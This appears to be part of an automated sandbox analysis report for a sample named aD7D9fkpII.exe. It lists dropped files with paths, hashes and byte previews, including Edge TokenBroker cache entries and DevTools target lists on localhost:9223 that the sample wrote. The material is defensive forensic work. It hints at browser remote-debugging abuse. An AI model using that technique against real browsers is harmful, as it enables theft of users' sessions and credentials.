LyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e55ddda1-a1ab-4ef6-81c8-2f37a9870121.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45695
Entropy (8bit):	6.0871918470127095
Encrypted:	false
SSDEEP:	768:eMkbJrT8IeQc5F9f3TVuFUhDO6vP6OZesg+ExLVyAbVdGNCAoYGoup1Xl3jVzXr/:eMk1rT8Ht9fjy6SLVnh8NRoYhu3VlXr/
MD5:	0C3D3AD26FA5969F659E6AACC4836A7E
SHA1:	9D140BED5C0DFDDB997A8C5EA072F38E46644643
SHA-256:	DA1CC66D12D447FC02D4C9561B04FA524D221507202F93F5B531CC3FF8AA9F0C
SHA-512:	8E889A18616ED5349C83A612424117DE67192EAB4F42E23E3CDC8B3083154BEEEEC31818EC9A0E21D5A523670F10EE6822AD677BFC5DECF2DDFF9EF342E79F7C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1735284036"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.855440061169542
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx8xl9Il8uglUglzDl8BN0pkRzd1rc:mhYmlUglzDlzpkO
MD5:	AF3BCFDFC9ED105E26AAFE2A7C4E5598
SHA1:	390C272BF3A62C2A3D886FBA1DFCC9C7D893E5FA
SHA-256:	AAF73A2555B26DBA38F87A532C7042BD0CA4DB2DB90C6C55C67EBCA3CFD0BB47
SHA-512:	C54723AA2E3C3E5D2F4D77B42642F3E1F41BB3F8B09DBC75F2FB6E9673FE796C1252C90FFA263A9CAF9079F0DF71FA62AAD1CA51CDA4895D3134FA25ACFAC038
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.G.K.D.N.D.h.Y.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.D.h.Z.6.+.q.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.998100292656711
Encrypted:	false
SSDEEP:	96:WcYmlpaaZNkUz8Zw01gUMn6S6wuDQh9yBp4LR:WcxpaaZN1AZpR86SqDs9SpWR
MD5:	83D31132FA3DD162290FF7D42C843508
SHA1:	BE51EEDFCBF1A1A2AAE97F41DA6325EDE3DBD995
SHA-256:	373C23B2B17BAACF986BF1E0324D29FC5B35639DAD58CA0A3C34B94D24040FE6
SHA-512:	FF722A80A6586262935833C9200AE7042CABF48D7D7CF13CF67CC8578C6E721DE4F8BEE9800CE0E63085E98147B30612D15A282F8DFF2518D4F43F2D86BF3B49
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".x.2.p./.G.T.B.Y.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.D.h.Z.6.+.q.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9013039727875722
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7x2Xxl9Il8uglJbjaJBq+CznCgUYCuKTFQFig+ZqQnXqzslAJT/dc:aQjYmlJbjCOzCUCsEg+qQn6wlAJTa
MD5:	A5A60308CD6D771E79BDE9B21AE89F4D
SHA1:	785BA7317FEEE879582437C255096220E7381447
SHA-256:	05EB789870AF6F9E70AD0D87EEEBF3F731C33AD9DC243F63D365725F87752B76
SHA-512:	884985B4E65868DE4F36AE6A960E13A5031CFF01A409D42DF5C4D09BB95AB5368811A447A5977A773DE22899916D1AA645036477BE68AB9AB805D6BEC997C695
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".o.B.K.d.S.g.F.3.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.D.h.Z.6.+.q.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\aD7D9fkpII.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.395829667163846
Encrypted:	false
SSDEEP:	96:6NnCWHCpNnC0bCQkNnC1Zg9C1SkNnCxzTdgECxdNnCuxRCu2NnCNEHDCNWNnCUws:6NSN/kNoZBSkNgzTedNNxz2NTdNF5Nn
MD5:	EA4BC37C01F7A80ECAEF4013F4792C25
SHA1:	64A87C8F921D9AE60AD752A32AF1D39752D71AA0
SHA-256:	CA4B5C1F4C2F3A03F2DB52D2CC4F0938F4D1F50302B92EA53A62E818B31F8CDB
SHA-512:	26A5CA07E161E08FBE71BA0ADF5BD4ACE5ED05EC41DDA5886BC9129838BEF82FFF4AB24DC1AA6CB7F25EC38F7FBCDCDA3EB565C65C86FB41D3AF1C5BE5ECD530
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/2BD24FC759A951DFD48958629664F3E7",.. "id": "2BD24FC759A951DFD48958629664F3E7",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/2BD24FC759A951DFD48958629664F3E7"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/B88A333656CDD33069A67A07FD52A11A",.. "id": "B88A333656CDD33069A67A07FD52A11A",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/B88A333656CDD33069A67A07FD52A11A"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\aD7D9fkpII.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.378558717235696
Encrypted:	false
SSDEEP:	48:SfNaoCURwTECUUfNaoC4llC4ofNaoCZCPfNaoCR0UrU0U8Cx:6NnCFTECxNnC4llC40NnCZCnNnCR0UrM
MD5:	5D5E3E04FFCF3668517B3FBBCF4EA97B
SHA1:	E0146249A719BFEEF04F4D1B92FE9F56D733653E
SHA-256:	5F45AC1E9E033EC3654E14EFB5D2357688BF8D57F18991B73AD938E45D1AE9A3
SHA-512:	8111149F0DDC0B3769D0D732808DB5A12B9F8F33B4CD236A4E73E4748B16E23963F8C4BAF1FA5D1881D1942864E403F92BAC627EA5E8C13887E1EB787A98012F
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/2EB9ED8D96E16FF129A1EC2A8BE1CE4C",.. "id": "2EB9ED8D96E16FF129A1EC2A8BE1CE4C",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/2EB9ED8D96E16FF129A1EC2A8BE1CE4C"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/B68FCE9A0BC156D46A29AD593E7EE68E",.. "id": "B68FCE9A0BC156D46A29AD593E7EE68E",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/B68FCE9A0BC156D46A29AD593E7EE68E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtoo

C:\Users\user\AppData\Local\Temp\3ac05e96-aa03-47ac-a3b8-2c3a55c8ca20.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\7c3ee062-c415-42cc-b612-ba45ab58195f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\9c0cb3fb-bd80-4eaf-9485-e80caa6091bd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\a630e57c-5414-468a-80e9-f69c119dc9a0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1572579
Entropy (8bit):	7.991930814320996
Encrypted:	true
SSDEEP:	24576:3BIUKcBnIhpIPXEJYhLr5M8h2sktqtpnzxro6gPnORAIBx6LpI9brLetNBIkLYG:WUK3p0X9L1fktqrn1OIBY6ZfOBIWB
MD5:	991FFAF9913B82DEF8540824C66C9516
SHA1:	344197E5FD1AA734DB527F1CFF94E6DDE5AB4CEC
SHA-256:	5BFD7AAF23CAC8B8A320EB15178A25D233D94BD142F87C63890A9A113DEC682B
SHA-512:	8BAD3972CCB42B3828BB608FE3B711C338343FB565180B3919C5B297E28E3B03895EA476DDA724B9EAB0E8126D6602B3E6AB2148F820C28A6D9981A73449B5C7
Malicious:	false
Preview:	.PNG........IHDR...2...2......?.....?iCCPICC Profile..H..W.XS...[.....@@J.M......B..6B. ...A...v...].Q..bG.,../.T.u.`W............9.3...{....<.$... _\(...d.JMc.......8.K..@......../..D.^q.k.....-.......q......~...DZ..Q.[L..1.@G...x..g)q..g(.n.Mb<..V..<.4...%.3..YP.....X ....../?....t.m...b.>+.....if.j.xY.X9.EQ...H.xS..t..'..a.+5[../.3......rL..G.....6..D..=.(%[....G.....3...........!..H...)..B.W.:YT.M.X........F.x./.!S.a...<....}Yn.[..:[.U.c......).[....!.C.T......Y.........[B./......LiH..,.``...l.7Z...f'.)..y...\.KB1;i@GX0r`..aP.r..3.8)A..AR.....S$y.{.\....!v+(JP....T....De.xq./<V....D....L .5.L.9@......=!... ............k.(..B$.......BP........2..E....... ...{.b.x.[2x...?..`..x.`...{~...!..bd.......`b.1..B...q?......X]p..50....'...C.5B'..xQ...(.@'..Q."..\..P....}.:T..pC...A?l..zv.,G..<+...6......LF.C..d.G.....\...e..........C............`'.s.a..0.cX........X.....+..:....x..L.8.:w;.Q...'...3A2E*...d...A...N......./...8.w..k.......c.....s......

C:\Users\user\AppData\Local\Temp\cbbc936b-48a8-40d3-a8b0-42c9b4b328a9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.409246378141753
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rr8:8e2Fa116uCntc5toYj0IHM
MD5:	D9B7B5A1580E2A6F2938FD64DC17F6D8
SHA1:	30DB665C6F6F551EC3FAE35B80CB446668DC18CC
SHA-256:	87182ABF55EC074FD33B05FF821CFC4E5F35833F4E7A6CE3C8C33C2E20620CDB
SHA-512:	457735C472D9C2550C1CA6BE95BF66FDEB6313799E651CC01BAA64591515F372CB352BE0E67D6304C4C6291A89494BEFA80248EC8F0BC8E80BC494FC6446FB9A
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\df5f8175-31bc-4a6b-9ffc-bf32b0f935a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\f666a83f-eb92-4f43-97db-c12b6ed23f82.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\7c3ee062-c415-42cc-b612-ba45ab58195f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
